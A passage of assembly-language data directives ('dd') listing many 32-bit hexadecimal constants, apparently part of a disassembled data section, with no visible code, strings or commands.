0DC686680h, 0CAF7916Ch dd 2D700265h, 0A8DD3E76h, 222808D4h, 5DD34525h, 22A9359Ch dd 110B2FE6h, 0A3A40E52h, 0E12CFE2Dh, 958039B6h, 61235CEDh dd 81EF556Eh, 43186AB2h, 80A05E01h, 0EC5D5E07h, 95CF34Dh dd 2674E9B9h, 126A9F33h, 8809C1FDh, 97C3DAFDh, 1087BF4h dd 0EBDA3B6Ch, 261A8943h, 4C1B780Bh, 814AE356h, 6B055E74h dd 5E7B7FE8h, 0CA5B1275h, 0F1597EC1h, 386802DAh, 0FE34585Eh dd 32A73E81h, 0CF1E4252h, 5644F987h, 0CBBEFEF1h, 0D67C6246h dd 4CD7092Ah, 80DC9763h, 857F63C3h, 8B48A2FAh, 0CDE3DDEBh dd 4EE0C5Eh, 0E8C1E9D9h, 0CC727F74h, 0E302D974h, 86D1F658h dd 81EA59CBh, 7E905B6h, 0D3A57C37h, 57689060h, 2F40A52Eh dd 957F96F7h, 84BEB85Dh, 8E9C5CC8h, 3987E028h, 0CC4B7168h dd 765ED556h, 447B6340h, 5E21404Fh, 0A0ECA0C5h, 5C13F0ECh dd 0F0ADCD01h, 5C1677E6h, 70AAEA31h, 9866F500h, 0CD426EC5h dd 0DFC5E1F8h, 95588C23h, 0F16E8241h, 971CFCC6h, 0AFA5D397h dd 57E453DEh, 0F34C17FBh, 0D62DD6EEh, 4F7F4A7h, 39BA0CFDh dd 0D10812DBh, 578CCF5h, 520538EAh, 4B8B55Fh, 0D606E208h dd 0A4C561FFh, 3CE33FFBh, 0EB7E2812h, 0E3FC84DDh, 1AD94FEh dd 0FB0713F2h, 0A073F002h, 39D85181h, 388592B2h, 0AE4E13C1h dd 49F31F28h, 0C904A526h, 0FF0C7312h, 2F87DEC0h, 0FB2B5A74h dd 0E9DFD402h, 0BB8CE897h dd 480EF8C7h, 0C5356B5Ch, 24C1EA0Dh, 0AA2F604Bh, 0DAE2BA20h dd 748E0537h, 203AB668h, 34090743h, 1812035Fh, 7E8FFF09h dd 27312F50h, 3A3CF5FEh, 1FA2613h, 0D9436F3Fh, 0C30C804Bh dd 5F03293h, 9940124Dh, 4B10AE27h, 0CE90907h, 255F1051h dd 121A0B8Eh, 3704C331h, 25BCA9ADh, 7919C2D3h, 0E0547225h dd 2D8BEC69h, 77A703FCh, 7A120046h, 0F4BDBA52h, 0D5562DB2h dd 0E9F78B39h, 58AFE13Eh, 0BAD3A06Ch, 28E92F2Ch, 5F9DF77h dd 0E6146835h, 90DC523h, 0DC05FCC0h, 500AAC8h, 0F5E9C731h dd 0B756BD43h, 5F8E68C2h, 7FF747F8h, 0B7F8EA7h, 33885610h dd 0FBED982h, 0A50CD6B1h, 0F705781Dh, 0E9B0C328h, 93AA0251h dd 37E5F768h, 213B83Bh, 594893F5h, 75DAD790h, 0E9C336BBh dd 16F360C8h, 7EAF6FF8h, 0E3FA1D98h, 5B132EB4h, 5F1648BDh dd 7A938923h, 0D3364B25h, 79C526E2h, 241A255Bh, 9E975C8h dd 73DD0F4Ah, 209E82Ah, 71F56AC7h, 5505FD5Bh, 66BC0050h dd 890A9043h, 2F3CC85Ch, 60C0568Ch, 0A0233AB8h, 182F4B7Eh dd 0A64922FBh, 0CA310267h, 688476F9h, 3CB75E9Eh, 7A231D05h dd 493A103h, 65A8B007h, 85058673h, 0D7E9D821h, 6858E0A8h dd 0A0F4C21Dh, 979F73A0h, 0FA32939Fh, 60687537h, 6DF57EDh dd 5B3B02E7h, 0BC440CBEh, 2D7F0D49h, 7E8BF5EFh, 8927CECCh dd 0D9185D5Fh, 599DBD22h, 19D3A5A6h, 0F41B860Bh, 0FFEE645Dh dd 0C17B06E1h, 2844ED57h, 8F84D28Ch, 147BB501h, 137F7E65h dd 8CE2EAFDh, 9AE73A78h, 25A5FF3Eh, 4FB5F400h, 594AEB28h dd 88DFC7EBh, 1E9B902h, 0E8B2A402h, 0E418ACFBh, 5A535FCBh dd 3A25E75Dh, 169977Ch, 0F1E4E58h, 56122Fh, 0E90D8FDAh dd 0B6A88D40h, 0CEF8E0C1h, 0B4505903h, 0DFC4FEA8h, 4C060126h dd 175EFD84h, 97ECE851h, 5FC422BEh, 0F9F6214Ah, 4BA920C4h dd 27DC7010h, 4904D35Ch, 888B455Fh, 73246B8Ch, 3182DA00h dd 0FACF89BBh, 1AF664A1h, 0CDCDEA59h, 2D584E81h, 60842C97h dd 6340B1C9h, 5B9090BDh, 8501FA3Ah, 0BB53C201h, 2EE80B44h dd 24E95805h, 0FCCCAA1Bh, 0BEEB6EB1h, 682CC800h, 0D9E66659h dd 0B1A81A74h, 25BF97B4h, 91AADD60h, 5CEF16h, 9088B1B0h dd 3BCC2D0Fh, 68E31F54h, 93F1513Dh, 91012E64h, 0ED12125Ah dd 0DBCC6266h, 6CF7095Ah, 2711984Ch, 8C71A4A6h, 4BE8CA01h dd 0BB600730h, 0B0208433h, 0E6D12F9Eh, 0FA035D0h, 0AB2D1018h dd 97FAF8FDh, 6D326730h, 0C100DD82h, 68C83118h, 813B3C22h dd 32695280h, 2BDE982h, 41BDF166h, 0E650C765h, 4A21685Dh dd 211DB37Fh, 81BC2CBDh, 55624FBAh, 68D5E548h, 0B3BEA01Bh dd 0B7AA249Dh, 2E430BD5h, 627FB889h, 0E908011Ch, 31822991h dd 13DF0670h, 14036E57h, 4620D168h, 4144F081h, 0DEA72F63h dd 4AFDBD4Fh, 8839D8EEh, 0C435A14Dh, 0C88C0329h, 51CE3988h dd 0E8A5F1BEh, 0E59D71F0h, 13C0A466h, 586C49CBh, 924C0A85h dd 705566E5h, 767232F9h, 6CCDD5Bh, 0ACE8212Ch, 0DBDE513h dd 0B387F4C4h, 5F548BF3h, 0B584974Ah, 45D0B95h, 1F16AC37h dd 30444C56h, 0D95008F9h, 0F45C6FABh, 5199815Ah, 107E4A4Bh dd 0EB5EC7C7h, 8AE96904h, 9443CFE1h, 716EC1D6h, 36F68D81h dd 8E2ED213h, 0A978ED0Ch, 4B6A7A91h, 80D802ABh, 49D7F5C6h dd 1ED3C221h, 0CF5B303Fh, 0A8662594h, 29929F1Eh, 4ABDBAF2h dd 15CC1AFh, 77300921h, 0C0415F74h, 92350999h, 4AE91E4Eh dd 71F6EB04h, 0F33280F2h, 961F3E6Ah, 0ECE7F752h, 0B5DE4E51h dd 729C0578h, 6BD95E7Ah, 273D71EBh, 5A253473h, 0FC5124F8h dd 3DB81AF2h, 883FDB07h, 0CB65201h, 2030EE80h, 478D4FE3h dd 3CAF75F2h, 5F5CFA8Ch, 0B2E909DCh, 0ACB4FD20h, 0E90D0247h dd 0D851122Eh, 605C0F31h, 0A987C2Bh, 0EC5F640Bh, 33B10154h dd 0E8CB8C50h, 9DFF3A05h, 8F4C3855h, 0C34BC990h, 48312A57h dd 35AE8E12h, 3912BA2Ah, 0B447148h, 0DE5B5B58h, 0C5ABCBE5h dd 41A3BE9Bh, 0BC894C25h, 0FC636E77h, 5BB8BA55h, 0FE37125Ah dd 0E957BA70h, 0AC4D5B80h, 2DD48149h, 0A02F74A8h, 8BB76072h dd 42857DEDh, 0C2E9A3F5h, 68CEC8E9h, 7928C5F2h, 0E3DF20C7h dd 1B585763h, 8729C032h, 0DDF732EAh, 216ED209h, 3119EF2Dh dd 35242098h, 0F745FD29h, 5D79A0BEh, 0B20BFF95h, 0E98B8745h dd 0B37BD8E2h, 42B83D1Fh, 0B409AD4Bh, 0D4D69EE2h, 7831EF9Dh dd 4765D88Ch, 9C401431h, 0B0F30F77h, 8AA0E7A7h, 0D9E3A108h dd 0DC9BD5E6h, 6FA49BDh, 0AB488304h, 0C3304EE1h, 4A2605FEh dd 0FEDBF716h, 730E9101h, 0F93E1518h, 0FEFA0627h, 0F549C850h dd 4F68ED6Bh, 4089DBF4h, 0DB9D5835h, 0C0F6ACD7h, 0F581E5D1h dd 4BC71F0Bh, 74E289D6h, 0C8298B72h, 0DD791248h, 2F878082h dd 7C11045Eh, 957D2547h, 5569B4E5h, 0CA6C3779h, 0AF1813C6h dd 6050FF2Dh, 38345508h, 0C28B4007h, 25D47919h, 0DADBE34h dd 24D88249h, 0EF58313Dh, 0D0616974h, 23B322FAh, 0DF826478h dd 0E192CB63h, 1108D1DCh, 0F82912B5h, 9FE5ADDh, 75FB5FF2h dd 5C5EB809h, 0E64EF47h, 0FB1CA492h, 0ECEED097h, 0FF870F1h dd 0DAF659CAh, 0FEF48242h, 2D653457h, 950BC0E9h, 0A3274750h dd 4AAD98ABh, 70D19F10h, 0E4CC9089h, 5DD2F0A6h, 0AA258758h dd 1E6F56D4h, 0C1F2FBD3h, 76A7284h, 0E125F488h, 7F12BAF8h dd 0BE71AE9Dh, 5C002FFEh, 5F662B68h, 217B8AFh, 6F83BE56h dd 8FC16276h, 94E62D86h, 1AFA4BD8h, 0D05F0CD5h, 9C0BDE1h dd 0E8B76512h, 13415315h, 0A4A0AE1h, 0A6448DADh, 0FF151977h dd 70E23E14h, 12D6C785h, 236298AEh, 4E7C8D56h, 25E9EA2Ch dd 677F69CDh, 0ABFA1686h, 0E9164CCAh, 55174A7Eh, 777A0281h dd 88607DC2h, 3E2E4DEBh, 6D00081Bh, 2D0A1467h, 7C370364h dd 0DE24E9FCh, 5FEBAE4Fh, 3D71043Bh, 0BFBE8001h, 0BD2F067Eh dd 0D47E4029h, 49DB97BAh, 6E7C400Bh, 8C6818A9h, 191BCF6Ah dd 0F4A50091h, 4D7F5AF5h, 0C1D5263Eh, 2A258868h, 0D5A80631h dd 3A86392Ah, 0BFA5E3EDh, 5AA450CCh, 7B2DAE53h, 2B1E9D3Bh dd 332169CDh, 173BD5A8h, 85C6A217h, 0D34F08F3h, 2CF7500Dh dd 791660EAh, 612C5847h, 0ECE9D809h, 0BF0D0760h, 46CB111Eh dd 71ACFD8Bh, 98A288C4h, 0FB0BC820h, 0DF322E11h, 3408F6A8h dd 74ACBA0Ch, 1643E909h, 50B18DFh, 204C2801h, 32549F08h dd 665FE904h, 0B9F24FD3h, 0D739136Fh, 866EE407h, 0DBB4B17Bh dd 33D87AFEh, 9D5A5BEEh, 8BBC6093h, 24286C9Fh, 0C3F97A06h dd 2D105C4Dh, 3650D472h, 9E75F003h, 9EB810B6h, 14428A96h dd 0DEDEB450h, 357C3C95h, 8022165Dh, 4503EBE6h, 3B0E7724h dd 7802F801h, 51614358h, 0E1991282h, 0C862687Bh, 47A4E41h dd 592DCAF9h, 0C02643D9h, 0C59D8722h, 3C1A3FD9h, 61F5B14Ch dd 0E73AEAF5h, 0A11C0E9Ah, 5C831380h, 463FDAE9h, 90E7E629h dd 2220000h, 0E9567B61h, 2FE10538h, 0FE9263E9h, 0E9829FA3h dd 1C7D7E86h, 97E9832h, 784B563Ah, 39274F6h, 0EF3C20EEh dd 53268BBCh, 0E9061C69h, 3380987h, 0EE86CE88h, 878D5F6h dd 0E066F125h, 3CBEB320h, 5B32D928h, 20C2090Eh, 0C72573F4h dd 0BA5D2746h, 0D19F10CAh, 635D8268h, 591790C8h, 82014EFBh dd 87825051h, 8B669A6Eh, 472468F8h, 98C6F373h, 3D63BDB7h dd 0CF2DEBDDh, 724D806Fh, 31143BFEh, 8E5AD5h, 74E35925h dd 5A5FFD09h, 0B66F984Dh dd 2F2FD2E0h, 6C50F121h, 82D9C52h, 20E47C29h, 0FEE9BDCFh dd 4B07C66Dh, 9AE4FA62h, 2D56808Eh, 0B503EFC0h, 0BB17C2D6h dd 7878C5ACh, 61CA2EC2h, 4C961010h, 23751272h, 4E5C020h dd 71104E6Bh, 5D62C63h, 0CD4673FBh, 7F0E76F1h, 4EDB23CDh dd 8FD9EA03h, 4947BE3Bh, 6E40E781h, 0C14F2710h, 0F71CC978h dd 93C53ADEh, 505A4319h, 0C388403Eh, 67236F13h, 620BBE90h dd 5766936Ah, 80DA4C2h, 514051Ch, 0E41E5486h, 4E165368h dd 1DEE0C73h, 0BD0A8FFh, 29B3148Ch, 0C7E2B04h, 5AE09C5Dh dd 2E4B865h, 440E1F7h, 0D1FAD742h, 23F77082h, 1246FD45h dd 0FA478F10h, 3322A29Eh, 212F54Fh, 0D627F6BBh, 0AC104DA6h dd 0B4804E42h, 0E1617E68h, 0A5E7A83Fh, 0EC13DC84h, 61FFC953h dd 389BFE3Ch, 57729953h, 1646B460h, 0F1430E16h, 0E9D9CCE7h dd 1610D32Ah, 0CEEBBE01h, 0A8055D30h, 2DD084D1h, 380925F3h dd 0F30C2DFh, 9119407h, 443EF4E9h, 1556C8F5h, 60135726h dd 4E402EF5h, 0B52FC9A6h, 7C77C562h, 26090211h, 0E7FC558Bh dd 60DE502h, 0FEDC5571h, 382FD249h, 61D8FE33h, 2B78BFC9h dd 6564A5A0h, 0B96F950Ch, 5F310B60h, 22C9FCD1h, 28524A28h dd 0F2F85767h, 0C3D0885Bh, 714E97CDh, 40D6F82Ch, 4EB055B6h dd 7CDFF627h, 5BDD507Eh, 9658C5B5h, 4E75ACA1h, 3D16DD8Bh dd 8C6AE816h, 41028453h, 64BE2F52h, 0D6A1EB0Eh, 0EE4AB232h dd 0E7E9E202h, 0DD22550Eh, 8771FB6Fh, 0CEEBD7CEh, 22F4D4Ah dd 1CA110BEh, 2AC68045h, 0BF633775h, 0E50CC676h, 0AC51A05h dd 0A34B3243h, 3CEA029Eh, 287D152Ch, 8B1E084Ch, 0CA19D1EFh dd 67B78260h, 85D51786h, 0E4AA07D9h, 0C3242F86h, 5383130Bh dd 915E33Bh, 9A591E5Ah, 1CD018D8h, 141C6808h, 5C97572Eh dd 0AEB507BCh, 14B9F748h, 0B712E566h, 735CC58h, 5C28F541h dd 30045217h, 66B8B72Eh, 80B15101h, 21E9CF08h, 0BA007F2Ch dd 49E6195Eh, 0B498D631h, 1513E75Eh, 70629EEAh, 80001B90h dd 0E83085C5h, 9C1B5AE9h, 47FA70Fh, 0EC985E1Bh, 0BD5C97D2h dd 66D0C90Dh, 0E12A7335h, 1B2C7F86h, 0AD314E29h, 89BAD6C6h dd 0C28A2010h, 0C7647ABEh, 0F64EB8AEh, 68E91847h, 0FA3534BFh dd 61673C0Fh, 0B6126548h, 0B90207F9h, 49912B47h, 7BA2EE57h dd 63421235h, 0DE14AE68h, 5EADDDE9h, 535982F7h, 44C047C4h dd 0D58412Bh, 4FE648DAh, 0EF6A8F21h, 0EE97307Eh, 7F4B3E7Ch dd 2B6868A0h, 26FF506Bh, 0BFF200Eh, 55D831ADh, 0B72B0B82h dd 0D6F58100h, 0C73FF90Ch, 0C7174CDBh, 3B5A8302h, 75FD5B57h dd 5DA53347h, 16BD88B6h, 82FA7148h, 64A0E458h, 8B2DB830h dd 1263D4F3h, 55ACB8AFh, 3A8320BEh, 52BA2003h, 0CC42D687h dd 370963C5h, 5523A563h, 6FC5A5EEh, 4289EB8Ah, 7EB55C58h dd 0DE4C700Dh, 250F25A0h, 0FD4AE0BFh, 30539851h, 683ED529h dd 8A312E2Dh, 0E4728A79h, 7F9CBE00h, 78147562h, 0D9C75FD3h dd 4EC2F02Fh, 0AC4112A1h, 0ACAEB4BFh, 0A9683F96h, 0B09EE542h dd 23EB28D6h, 0FCC6E8h, 0B53F8568h, 272A9061h, 0EE49EB87h dd 4C7F7954h, 231B0570h, 10FF7E8Eh, 0B75807E3h, 7AD51024h dd 14C2BE7Ch, 60FF2932h, 6181C35h, 0EFE945D3h, 962A8DC2h dd 789F5A6Bh, 1CC5651Ch, 2131C131h, 0C3828AF3h, 0AC05A602h dd 63FEDF01h, 0EA848A2Ah, 9648BF8Bh, 73013506h, 0B09F3650h dd 27407D93h, 0D65C2591h, 0F2144916h, 11F6059Dh, 40AB542Ch dd 52332A0h, 120E914h, 1DADB07Dh, 6E6B17E6h, 4B1131D3h dd 0C60A855Eh, 0C7C4166Ah, 85E4FDEEh, 0B7AF6CE5h, 4EAF588Bh dd 0D15BCBCAh, 225EA7h, 0D00BE2E9h, 620E95D7h, 95FB14Eh dd 3F680A05h, 2A124111h, 0AF2166h, 7E0FE546h, 51906B06h dd 24FB8748h, 0D000763Ch, 89F0BA0Ah, 0C319B0EBh, 0BB32E906h dd 6945E35Fh, 0AE5607C7h, 0C8E12B46h, 8F70B722h, 3922E548h dd 0DB31CE93h, 733162EDh, 598AD06Ah, 2B61FA6Bh, 8CBA830Ch dd 2F37DEF2h, 54356E0h, 0CB3C6774h, 2774CC59h, 0D7FBA8AEh dd 7D4EA709h, 412DC658h, 90D8E4BDh, 16BA5E4Eh, 41CFAAE4h dd 6BCFE90Bh, 52C01071h, 0D25CE950h, 0B0EAA857h, 0A83E9E68h dd 0C1F9D1C2h, 2897B428h, 0A6D2E4E7h, 8F4FB8BCh, 8ABA9698h dd 12FF5A32h, 4F05EC6Eh, 0F2D879CBh, 8EB9A127h, 0E9535243h dd 1A82544Bh, 0F205F9BDh, 0D00B0057h, 4173C830h, 24524601h dd 476B016h, 824BA1B8h, 45DD592Fh, 87869214h, 0F928C213h dd 6605B44Ch, 0CA885250h, 57A8FE12h, 0B11C8091h, 49D11EBBh dd 0F1536A1Dh, 0A07B608h, 1E7602BAh, 0C72882C1h, 8FF0146h dd 0D221083Bh, 502E6861h, 0E829A193h, 76564A90h, 5DDA4BEEh dd 0CD099CF3h, 30A27ACCh, 80346254h, 6CB2CEAh, 19685779h dd 0B0025044h, 0E9C7201Ah, 9571D824h, 175B8260h, 0E3034591h dd 0EAEF14CBh, 0E952B8D3h, 75715BDCh, 0C28F0D28h, 8BEC7823h dd 592B21BFh, 0B259FC88h, 0D2437292h, 8FF88107h, 7D0ED180h dd 0EE6B932Fh, 71E913F1h, 60A3E52Dh, 0C1D60E53h, 0CE9C9506h dd 0EF83176Ah, 6AFCD802h, 5C1914B4h, 843B294Bh, 0C5FCAEC9h dd 217D766Bh, 2536E9A0h, 0A34CA123h, 1E74011h, 0CAD012C6h dd 47B8959h, 12FC2459h, 0BC7913EBh, 5EC8A4C9h, 36BB0553h dd 0BE08613Ah, 0DD0556C2h, 0F5838378h, 0DF2FDE20h, 4B55409Ah dd 0D6354807h, 76790412h, 8472250Eh, 7C17AB3h, 0C278E749h dd 22DBC9A1h, 0BD6882A2h, 9D14D52Ch, 0FCF10395h, 87794D22h dd 1237B24Ah, 0C8EDE0BDh, 105B05D2h, 53B613DDh, 5772FB8Ch dd 747E572Dh, 0C7EFCA3Ah, 6F06A07Eh, 88BF41ACh, 0E909075Bh dd 0BB8E406Ch, 123F1E34h, 0E8A38C0Fh, 7909BA14h, 5653825Bh dd 603185Ch, 0C2148305h, 20D64A01h, 0F3282440h, 0FB931399h dd 5BA89F88h, 0ED6D31A1h, 0BDEA0484h, 0A65B3DCEh, 51937537h dd 0E983B8F7h, 2A1DA962h, 96D7F430h, 8C1429F1h, 0AD05E8ABh dd 0B5AF5064h, 51465A09h, 3CF3429Ah, 3DBA4B29h, 134392BFh dd 0E99F17EEh, 67E9B1A2h, 0C10C686Ch, 0ED3608E6h, 0B3828C9Ch dd 0C221CC43h, 68D2A085h, 8E0D78h, 56575865h, 0E5074BEh dd 81414E61h, 0FAD0A1EEh, 5D51B53Fh, 1E30853Eh, 0C70C678Fh dd 0EEE5973Eh, 0C86B4A03h, 0F49008EAh, 948E7C20h, 13F8ACCAh dd 25193D8h, 2B5E1AC2h, 7264762Dh, 0CAC6DC76h, 0E0564BB8h dd 0B63E11F7h, 3F251338h, 6AC04FB8h, 4A50DA5Ah, 0F36D4C3h dd 4E93AAh, 0F390E7D0h, 5EF209C3h, 9409239h, 18FFD3E9h dd 5AC1211Ch, 0EC0BEA58h, 0F7C4DFC5h, 68A7CE85h, 953DA3CDh dd 8FD0057Eh, 44405E47h, 445405h, 6106ABBBh, 174C9870h dd 0FA8F9EF9h, 0DEEDA51Ch, 0ED5F273Dh, 2D5093Ah, 760B0F46h dd 766B8558h, 0BBE02D5Eh, 0E1245618h, 703311Ah, 4192860h dd 770EB40Ch, 0E594EF49h, 90C081Ah, 5E487D14h, 588135B2h dd 15E0EEF1h, 0ABC4B5E2h, 68D23105h, 47443E54h, 0A7A165E9h dd 0A28ABC6Bh, 270AEC5Eh, 0CEA29868h, 2901ACC8h, 0A86E05D8h dd 0F1127574h, 0A6BE4837h, 30E93E5Fh, 8B5D306Fh, 6D5C9D2Ch dd 0B847BF56h, 38E3ADA4h, 0B9E401F6h, 58551FC9h, 67BD481h dd 36E0E3Bh, 40384EF1h, 390C0927h, 1C031F2Eh, 30FF02E1h dd 7C8B25C0h, 1B598CC0h, 76216F74h, 0E6817CBh, 0BBE36143h dd 44915211h, 278F795Fh, 89AC895Dh, 0FA505534h, 8160D9Eh dd 438514B8h, 8FB4BCE8h dd 0C579CC68h, 0BB934AC1h, 0A64F078Bh, 1DCB5A22h, 0B25D2C04h dd 7C81FE10h, 342E60F0h, 0BB8882E3h, 6F6A750Bh, 2BD5CB61h dd 6352838h, 7AC0C3E8h, 0E090A950h, 0F83B6841h, 64E706DBh dd 0B7AE0EEFh, 0B5540D5Eh, 0AD2095FBh, 780CD69Dh, 5699D777h dd 642C8C8Bh, 0D74A9D78h, 9D8078D5h, 3E6EF938h, 82DB5481h dd 0E975DCD2h, 5427BCFCh, 0F44CFB41h, 0EC0510A7h, 96CDBC5Fh dd 5C23E504h, 0ABE66804h, 67B6CF44h, 192EEA3h, 0E84C50C4h dd 0BA3E8D4Fh, 0A02BD1F6h, 704DAA38h, 3BF203ABh, 0D90AA229h dd 0E4736EDDh, 1D455827h, 1408C88h, 6A011DB8h, 4DB13A33h dd 0C2B21C6Bh, 836851F3h, 537EC5Dh, 31F2411Dh, 0DAA54056h dd 0E9485F28h, 8BD93A32h, 0CBEAF5EFh, 68130F96h, 66605753h dd 16AF4CA1h, 0FEDBF711h, 35B4A299h, 82B8AF2Ch, 0C42CEE5Eh dd 4DEB3187h, 28F3E906h, 500B5FFFh, 0F53B283Dh, 0CF8159E0h dd 195207D7h, 0AFE7C178h, 0AF23F720h, 501AE2Fh, 3B6964CDh dd 8BDC322Dh, 0F9E6B851h, 0FB840745h, 20AA1217h, 0FBCEE954h dd 3AC9FE5Ah, 3DD0886Ah, 0A4FF768Ah, 0EC579260h, 80BFD244h dd 0B4E9F91Dh, 0A83DDA4Fh, 0EC28B2Ah, 1663D368h, 539B8EABh dd 3A449655h, 580A2F3Ah, 0C9571E57h, 5422B876h, 21F14792h dd 3F2772ADh, 9B9E5250h, 571763h, 1C69EAB0h, 0C0954B64h dd 814493F4h, 1EEA2B2Dh, 13DCB4FBh, 1F25EB91h, 1012361Fh dd 0ED693EC5h, 4A85CE2Eh, 35D4C8FFh, 0B2FEC62Eh, 714F6DEFh dd 7363B400h, 0D13B0557h, 0BCD6F7EEh, 206904E0h, 9A0F0FE4h dd 0D5964965h, 53E2121Ch, 7895BFB9h, 4B09D08h, 0FA7B7968h dd 5B059ACFh, 0FE8ADFE9h, 8948C9E3h, 0F2C25F85h, 0C5238AE5h dd 0BB23FDA5h, 0BE4FC5CBh, 5575C8AEh, 0CF958767h, 31A1D73h dd 4594BF0Eh, 8DE50C7Fh, 7DE501BFh, 505C0162h, 8B0E9D2Bh dd 0C4F2A2D3h, 0E9055F0Ch, 0EF1A66F8h, 24681280h, 27CBBB0Dh dd 85FFB84Bh, 0AC1BF387h, 47CD908h, 0B823302Bh, 31581970h dd 384805AFh, 90EE6C73h, 5920E9F6h, 4D444F2Eh, 2EEEF102h dd 0A1D08F50h, 0F4137753h, 0CB61F7D4h, 0B709F1FBh, 26EBAD7Dh dd 7CF7B22Fh, 7342820Bh, 70D3FE58h, 511247EDh, 8DEC2957h dd 0B87B0841h, 8708F52Dh, 0F92106E2h, 510B705Fh, 0D6150A20h dd 0E2762FB4h, 0BB7E5178h, 96AC0996h, 686271DEh, 0AF98D701h dd 5595B850h, 0DC485E89h, 532628Fh, 81F7784Ch, 0B527E907h dd 2C785163h, 46061FE3h, 0C4B7877h, 0C49ED5B8h, 0E8A43B17h dd 0E601018h, 0F8E6891Dh, 89695524h, 0B87F271Eh, 0D3659350h dd 0ECD0FE59h, 0BFD7F747h, 4BE98360h, 0F609B7BEh, 39187DF9h dd 97FE3381h, 0E0E95E4Ah, 9CCDCDDEh, 9F036B16h, 0DAC8CC80h dd 75384BE8h, 4211B6ECh, 0A5478E25h, 2CEDE525h, 211313FAh dd 8E6E39C8h, 0C588EEBDh, 1AEB9FE2h, 3EC522E6h, 7092E9C2h dd 7880765Bh, 70FC2C1Ah, 8456F2Ah, 9AE2EF50h, 81874B79h dd 385559E1h, 9140B920h, 7FC026B1h, 0D9F625E9h, 7C505D41h dd 60BF4F7Dh, 0FA54DF31h, 6DF05AB8h, 4229D9BFh, 59F5F137h dd 73281A0Bh, 1A0BBF7Eh, 3000DF5Dh, 49457AEBh, 93676BDh dd 64FE38C1h, 0CB930F68h, 27DDA608h, 42DA18Ah, 0FAC46859h dd 0EA236446h, 75BB0E76h, 0A534B31h, 4045DC75h, 4D546AC8h dd 0DE4E5B79h, 0BF89DAD9h, 9ADF8B68h, 0A5E5C9F4h, 358509CEh dd 429EF05Fh, 5861CA41h, 453EC97Ch, 0ECBA2660h, 0C4B88D08h dd 59A1D467h, 0EBF0B764h, 0CEFA9741h, 5057452Ah, 97BBF4h dd 5D0105E4h, 0AE7E4ACCh, 0E909029Bh, 467750E1h, 58542626h dd 0ACA2E11h, 17C1C188h, 3FE9F33Bh, 0AECC4E5Ah, 45501015h dd 4732810Ch, 0FB310BA8h, 0C47DE66Ah, 31BFCC05h, 2ABE8A88h dd 0C238ECA3h, 0EEF4EA51h, 14B297BCh, 8967B257h, 0E340D792h dd 513B951h, 43018065h, 0D729DEE9h, 9BEB61FAh, 25C2CB3Bh dd 0D8A57E2Ch, 0CE9FDAF8h, 6086F622h, 58B816C2h, 7E02F567h dd 256C9D0Dh, 9C62D555h, 6A4BDB60h, 0E03A8A2Dh, 97F1C34Fh dd 68863DF1h, 2F51592Dh, 0B84E2F19h, 0B46D2BFh, 0EBECF870h dd 322993F7h, 5880F3CCh, 0EE59C97Ch, 0B5B977E6h, 22D6F054h dd 0D10B009Bh, 52CA5C67h, 536D25D7h, 3BDF611h, 5F268EBEh dd 36965008h, 5677823Bh, 0A5B0951h, 0D000CD66h, 81563B73h dd 178C34C2h, 0FF50A9C4h, 8FEBD331h, 456B2104h, 0F291801Ch dd 0E204F416h, 5AD72731h, 6805DDF4h, 99454DE7h, 8FC8F6C6h dd 5946181Dh, 85149D51h, 5EB45080h, 0D5D2A48Eh, 0A594DE95h dd 8B9ACF7Fh, 0C65EDB71h, 0D978E5C2h, 39D5A758h, 2C7C5F47h dd 4A7ADD50h, 8473CBA2h, 6DB8EE94h, 3BECEBC0h, 12C29A8h dd 0B2073DD3h, 40ACF421h, 4BE516C6h, 0AEE5C412h, 0BEC53FA8h dd 0FAB9D1EAh, 49496A5Fh, 55DCC263h, 0FBA49FF3h, 9C0F562h dd 4833515Dh, 40AB6281h, 5E60CAF4h, 0E1076CE9h, 9F99B96Bh dd 2185FF13h, 2E78F4F8h, 0BF80F09Eh, 0A007464Ah, 80BF24C9h dd 1C886804h, 77734C86h, 16AA0510h, 0D819F987h, 55F05008h dd 90109778h, 4B552168h, 5A5EE04Ah, 0F5251092h, 92B9552Fh dd 27AB3992h, 78E9710Ch, 0D1AB9187h, 0B05A2878h, 7AC34792h dd 0F768A108h, 6AEA0E04h, 466D29D6h, 5F97590Bh, 0B2D245BEh dd 60EC7DEBh, 490BB8B3h, 57736077h, 17E9F7C8h, 16254F5Bh dd 79C89CFEh, 0F73C3941h, 0BFF72F78h, 59D579E2h, 59C543FCh dd 74F7ED03h, 6EF161h, 0F1F230Ch, 0FAD0E93Fh, 5DDEEDAAh dd 8E94F525h, 32E213D2h, 28310492h, 39AE1217h, 0C1804082h dd 2B3A395Bh, 63EAD5E9h, 0EA939E9Eh, 0CE258AAh, 0F92837DDh dd 0A8099311h, 0F825C871h, 0E606D3C9h, 5337007Fh, 7E2D0644h dd 4A5F013Eh, 0CF7D1925h, 0F6B23B5Ch, 2AE07Ah, 0A50D224Eh dd 3528E634h, 26184FECh, 565C290Fh, 0CF03F68h, 259090FCh dd 595AD85Dh, 59E74826h, 0CF42AA40h, 65B9F61Ch, 0EAC2D552h dd 0E1472BA1h, 0DE22C8D2h, 7445510Eh, 29295CEAh, 0EA6999F8h dd 4CABD515h, 0AC8228A4h, 0C5BE033Dh, 0D27C7620h, 62DF64Ah dd 24F8015Ah, 0CAE61454h, 0C16E32B8h, 58E6040Eh, 3ACAD9BFh dd 80C6341Fh, 1E061DC6h, 1DCE288Eh, 295E6DEEh, 7D495597h dd 0BB4855BDh, 57C06C1Ah, 0C05B66FCh, 322CC6E4h, 0C3988DCEh dd 0A928B278h, 0A797DF45h, 0E9C129B4h, 277AEE3Ch, 0CF239B27h dd 6DAA6866h, 0A842F454h, 0D5147730h, 0A23FA720h, 0AA29F7FAh dd 0B6DCA30Bh, 59CE2986h, 0D0C8BD1Eh, 0D87DE955h, 9F09ADBAh dd 500C57CCh, 0E43B0AEh, 79180AB7h, 0A4141EF8h, 24AC3D48h dd 0F2409DE4h, 69C2964Ah, 6BFADAAEh, 888482BDh, 805004EAh dd 96184275h, 0FB9280FFh, 9615653h, 18F695CDh, 47526500h dd 1740E681h, 0AA24E425h, 2AE9CB02h, 0FC848BBEh, 0C43B09BAh dd 31489414h, 3352102Ah, 8ADF0116h, 0F5A06B72h, 0F72955C0h dd 0F40DC98h, 7C709F59h, 9DF27220h, 0D9D090F5h, 0C2BCB692h dd 76090DA4h, 0C3DA0918h, 0EA9F86F9h, 86B27F2Dh, 0B72B66F5h dd 0F20955E7h, 985646E1h, 5FBF3119h, 1090F01Fh, 0E9273E05h dd 1CBBDFA4h, 0BF1C7412h, 843C2E8Dh, 78310104h, 